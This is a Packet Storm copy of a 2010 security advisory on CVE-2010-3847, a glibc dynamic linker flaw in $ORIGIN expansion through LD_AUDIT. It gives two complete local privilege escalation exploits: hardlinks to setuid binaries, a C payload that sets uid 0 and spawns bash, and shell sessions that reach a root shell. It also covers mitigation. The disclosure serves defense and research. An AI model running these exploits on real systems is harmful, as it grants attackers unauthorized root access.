Lucene search

K
packetstormTavis OrmandyPACKETSTORM:94955
HistoryOct 19, 2010 - 12:00 a.m.

GNU C Library Dynamic Linker $ORIGIN Expansion Vulnerability

2010-10-1900:00:00
Tavis Ormandy
packetstormsecurity.com
59

0.001 Low

EPSS

Percentile

29.5%

`The GNU C library dynamic linker expands $ORIGIN in setuid library search path  
------------------------------------------------------------------------------  
  
Gruezi, This is CVE-2010-3847.  
  
The dynamic linker (or dynamic loader) is responsible for the runtime linking of  
dynamically linked programs. ld.so operates in two security modes, a permissive  
mode that allows a high degree of control over the load operation, and a secure  
mode (libc_enable_secure) intended to prevent users from interfering with the  
loading of privileged executables.  
  
$ORIGIN is an ELF substitution sequence representing the location of the  
executable being loaded in the filesystem hierarchy. The intention is to allow  
executables to specify a search path for libraries that is relative to their  
location, to simplify packaging without spamming the standard search paths with  
single-use libraries.  
  
Note that despite the confusing naming convention, $ORIGIN is specified in a  
DT_RPATH or DT_RUNPATH dynamic tag inside the executable itself, not via the  
environment (developers would normally use the -rpath ld parameter, or  
-Wl,-rpath,$ORIGIN via the compiler driver).  
  
The ELF specification suggests that $ORIGIN be ignored for SUID and SGID  
binaries,  
  
http://web.archive.org/web/20041026003725/http://www.caldera.com/developers/gabi/2003-12-17/ch5.dynamic.html#substitution  
  
"For security, the dynamic linker does not allow use of $ORIGIN substitution  
sequences for set-user and set-group ID programs. For such sequences that  
appear within strings specified by DT_RUNPATH dynamic array entries, the  
specific search path containing the $ORIGIN sequence is ignored (though other  
search paths in the same string are processed). $ORIGIN sequences within a  
DT_NEEDED entry or path passed as a parameter to dlopen() are treated as  
errors. The same restrictions may be applied to processes that have more than  
minimal privileges on systems with installed extended security mechanisms."  
  
However, glibc ignores this recommendation. The attack the ELF designers were  
likely concerned about is users creating hardlinks to suid executables in  
directories they control and then executing them, thus controlling the  
expansion of $ORIGIN.  
  
It is tough to form a thorough complaint about this glibc behaviour however,  
as any developer who believes they're smart enough to safely create suid  
programs should be smart enough to understand the implications of $ORIGIN  
and hard links on load behaviour. The glibc maintainers are some of the  
smartest guys in free software, and well known for having a "no hand-holding"  
stance on various issues, so I suspect they wanted a better argument than this  
for modifying the behaviour (I pointed it out a few years ago, but there was  
little interest).  
  
However, I have now discovered a way to exploit this. The origin expansion  
mechanism is recycled for use in LD_AUDIT support, although an attempt is made  
to prevent it from working, it is insufficient.  
  
LD_AUDIT is intended for use with the linker auditing api (see the rtld-audit  
manual), and has the usual restrictions for setuid programs as LD_PRELOAD does.  
However, $ORIGIN expansion is only prevented if it is not used in isolation.  
  
The codepath that triggers this expansion is  
  
_dl_init_paths() -> _dl_dst_substitute() -> _is_dst()  
  
(in the code below DST is dynamic string token)  
  
http://sourceware.org/git/?p=glibc.git;a=blob;f=elf/dl-load.c;h=a7162eb77de7a538235a4326d0eb9ccb5b244c01;hb=HEAD#l741  
  
741 /* Expand DSTs. */  
742 size_t cnt = DL_DST_COUNT (llp, 1);  
743 if (__builtin_expect (cnt == 0, 1))  
744 llp_tmp = strdupa (llp);  
745 else  
746 {  
747 /* Determine the length of the substituted string. */  
748 size_t total = DL_DST_REQUIRED (l, llp, strlen (llp), cnt);  
749  
750 /* Allocate the necessary memory. */  
751 llp_tmp = (char *) alloca (total + 1);  
752 llp_tmp = _dl_dst_substitute (l, llp, llp_tmp, 1);  
753 }  
  
http://sourceware.org/git/?p=glibc.git;a=blob;f=elf/dl-load.c;h=a7162eb77de7a538235a4326d0eb9ccb5b244c01;hb=HEAD#l245  
  
253 if (__builtin_expect (*name == '$', 0))  
254 {  
255 const char *repl = NULL;  
256 size_t len;  
257  
258 ++name;  
259 if ((len = is_dst (start, name, "ORIGIN", is_path,  
260 INTUSE(__libc_enable_secure))) != 0)  
261 {  
...  
267 repl = l->l_origin;  
268 }  
  
http://sourceware.org/git/?p=glibc.git;a=blob;f=elf/dl-load.c;h=a7162eb77de7a538235a4326d0eb9ccb5b244c01;hb=HEAD#l171  
  
  
202 if (__builtin_expect (secure, 0)  
203 && ((name[len] != '\0' && (!is_path || name[len] != ':'))  
204 || (name != start + 1 && (!is_path || name[-2] != ':'))))  
205 return 0;  
206  
207 return len;  
208 }  
  
As you can see, $ORIGIN is only expanded if it is alone and first in the path.  
This makes little sense, and does not appear to be useful even if there were  
no security impact. This was most likely the result of an attempt to re-use the  
existing DT_NEEDED resolution infrastructure for LD_AUDIT support, accidentally  
introducing this error.  
  
Perhaps surprisingly, this error is exploitable.  
  
--------------------  
Affected Software  
------------------------  
  
At least the following versions have been tested  
  
2.12.1, FC13  
2.5, RHEL5 / CentOS5  
  
Other versions are probably affected, possibly via different vectors. I'm aware  
several versions of ld.so in common use hit an assertion in dl_open_worker, I  
do not know if it's possible to avoid this.  
  
--------------------  
Consequences  
-----------------------  
  
It is possible to exploit this flaw to execute arbitrary code as root.  
  
Please note, this is a low impact vulnerability that is only of interest to  
security professionals and system administrators. End users do not need  
to be concerned.  
  
Exploitation would look like the following.  
  
# Create a directory in /tmp we can control.  
$ mkdir /tmp/exploit  
  
# Link to an suid binary, thus changing the definition of $ORIGIN.  
$ ln /bin/ping /tmp/exploit/target  
  
# Open a file descriptor to the target binary (note: some users are surprised  
# to learn exec can be used to manipulate the redirections of the current  
# shell if a command is not specified. This is what is happening below).  
$ exec 3< /tmp/exploit/target  
  
# This descriptor should now be accessible via /proc.  
$ ls -l /proc/$$/fd/3  
lr-x------ 1 taviso taviso 64 Oct 15 09:21 /proc/10836/fd/3 -> /tmp/exploit/target*  
  
# Remove the directory previously created  
$ rm -rf /tmp/exploit/  
  
# The /proc link should still exist, but now will be marked deleted.  
$ ls -l /proc/$$/fd/3  
lr-x------ 1 taviso taviso 64 Oct 15 09:21 /proc/10836/fd/3 -> /tmp/exploit/target (deleted)  
  
# Replace the directory with a payload DSO, thus making $ORIGIN a valid target to dlopen().  
$ cat > payload.c  
void __attribute__((constructor)) init()  
{  
setuid(0);  
system("/bin/bash");  
}  
^D  
$ gcc -w -fPIC -shared -o /tmp/exploit payload.c  
$ ls -l /tmp/exploit  
-rwxrwx--- 1 taviso taviso 4.2K Oct 15 09:22 /tmp/exploit*  
  
# Now force the link in /proc to load $ORIGIN via LD_AUDIT.  
$ LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3  
sh-4.1# whoami  
root  
sh-4.1# id  
uid=0(root) gid=500(taviso)  
  
-------------------  
Mitigation  
-----------------------  
  
It is a good idea to prevent users from creating files on filesystems mounted  
without nosuid. The following interesting solution for administrators who  
cannot modify their partitioning scheme was suggested to me by Rob Holland  
(@robholland):  
  
You can use bind mounts to make directories like /tmp, /var/tmp, etc., nosuid,  
for example:  
  
# mount -o bind /tmp /tmp  
# mount -o remount,bind,nosuid /tmp /tmp  
  
Be aware of race conditions at boot via crond/atd/etc, and users with  
references to existing directories (man lsof), but this may be an acceptable  
workaround until a patch is ready for deployment.  
  
(Of course you need to do this everywhere untrusted users can make links to  
suid/sgid binaries. find(1) is your friend).  
  
If someone wants to create an init script that would automate this at boot for  
their distribution, I'm sure it would be appreciated by other administrators.  
  
-------------------  
Solution  
-----------------------  
  
Major distributions should be releasing updated glibc packages shortly.  
  
-------------------  
Credit  
-----------------------  
  
This bug was discovered by Tavis Ormandy.  
  
-------------------  
Greetz  
-----------------------  
  
Greetz to Hawkes, Julien, LiquidK, Lcamtuf, Neel, Spoonm, Felix, Robert,  
Asirap, Spender, Pipacs, Gynvael, Scarybeasts, Redpig, Kees, Eugene, Bruce D.,  
and all my other elite friends and colleagues.  
  
Additional greetz to the openwall guys who saw this problem coming years ago.  
They continue to avoid hundreds of security vulnerabilities each year thanks to  
their insight into systems security.  
  
http://www.openwall.com/owl/  
  
-------------------  
Notes  
-----------------------  
  
There are several known techniques to exploit dynamic loader bugs for suid  
binaries, the fexecve() technique listed in the Consequences section above is a  
modern technique, making use of relatively recent Linux kernel features (it was  
first suggested to me by Adam Langley while discussing CVE-2009-1894, but I  
believe Gabriel Campana came up with the same solution independently).  
  
The classic UNIX technique is a little less elegant, but has the advantage that  
read access is not required for the target binary. It is rather common for  
administrators to remove read access from suid binaries in order to make  
attackers work a little harder, so I will document it here for reference.  
  
The basic idea is to create a pipe(), fill it up with junk (pipes have 2^16  
bytes capacity on Linux, see the section on "Pipe Capacity" in pipe(7) from the  
Linux Programmers Manual), then dup2() it to stderr. Following the dup2(),  
anything written to stderr will block, so you simply execve() and then make the  
loader print some error message, allowing you to reliably win any race  
condition.  
  
LD_DEBUG has always been a a good candidate for getting error messages on  
Linux. The behaviour of LD_DEBUG was modified a few years ago in response to  
some minor complaints about information leaks, but it can still be used with a  
slight modification (I first learned of this technique from a bugtraq posting  
by Jim Paris in 2004, http://seclists.org/bugtraq/2004/Aug/281).  
  
The exploit flow for this alternative attack is a little more complicated, but  
we can still use the shell to do it (this session is from an FC13 system,  
output cleaned up for clarity).  
  
# Almost fill up a pipe with junk, then dup2() it to stderr using redirection.  
$ (head -c 65534 /dev/zero; LD_DEBUG=nonsense LD_AUDIT="\$ORIGIN" /tmp/exploit/target 2>&1) | (sleep 1h; cat) &  
[1] 26926  
  
# Now ld.so is blocked on write() in the background trying to say "invalid  
# debug option", so we are free to manipulate the filesystem.  
$ rm -rf /tmp/exploit/  
  
# Put exploit payload in place.  
$ gcc -w -fPIC -shared -o /tmp/exploit payload.c  
  
# Clear the pipe by killing sleep, letting cat drain the contents. This will  
# unblock the target, allowing it to continue.  
$ pkill -n -t $(tty | sed 's#/dev/##') sleep  
-bash: line 99: 26929 Terminated sleep 1h  
  
# And now we can take control of a root shell :-)  
$ fg  
sh-4.1# id  
uid=0(root) gid=500(taviso)  
  
Another technique I'm aware of is setting a ridiculous LD_HWCAP_MASK, then  
while the loader is trying to map lots of memory, you have a good chance of  
winning any race. I previously found an integer overflow in this feature and  
suggested adding LD_HWCAP_MASK to the unsecure vars list, however the glibc  
maintainers disagreed and just fixed the overflow.  
  
http://www.cygwin.com/ml/libc-hacker/2007-07/msg00001.html  
  
I believe this is still a good idea, and LD_HWCAP_MASK is where I would bet the  
next big loader bug is going to be, it's just not safe to let attackers have  
that much control over the execution environment of privileged programs.  
  
Finally, some notes on ELF security for newcomers. The following common  
conditions are usually exploitable:  
  
- An empty DT_RPATH, i.e. -Wl,-rpath,""  
This is a surprisingly common build error, due to variable expansion  
failing during the build process.  
- A relative, rather than absolute DT_RPATH.  
For example, -Wl,-rpath,"lib/foo".  
  
I'll leave it as an exercise for the interested reader to explain why. Remember  
to also follow DT_NEEDED dependencies, as dependencies can also declare rpaths  
for their dependencies, and so on.  
  
-------------------  
References  
-----------------------  
  
- http://man.cx/ld.so%288%29, The dynamic linker/loader, Linux Programmer's Manual.  
- http://man.cx/rtld-audit, The auditing API for the dynamic linker, Linux Programmer's Manual.  
- http://man.cx/pipe%287%29, Overview of pipes and FIFOs (Pipe Capacity), Linux Programmer's Manual.  
- Linkers and Loaders, John R. Levine, ISBN 1-55860-496-0.  
- Partitioning schemes and security, http://my.opera.com/taviso/blog/show.dml/654574  
- CVE-2009-1894 description, http://blog.cr0.org/2009/07/old-school-local-root-vulnerability-in.html  
  
You should subscribe to Linux Weekly News and help support their high standard  
of security journalism.  
  
http://lwn.net/  
  
I have a twitter account where I occasionally comment on security topics.  
  
http://twitter.com/taviso  
  
ex$$  
  
--   
-------------------------------------  
[email protected] | pgp encrypted mail preferred  
-------------------------------------------------------  
  
`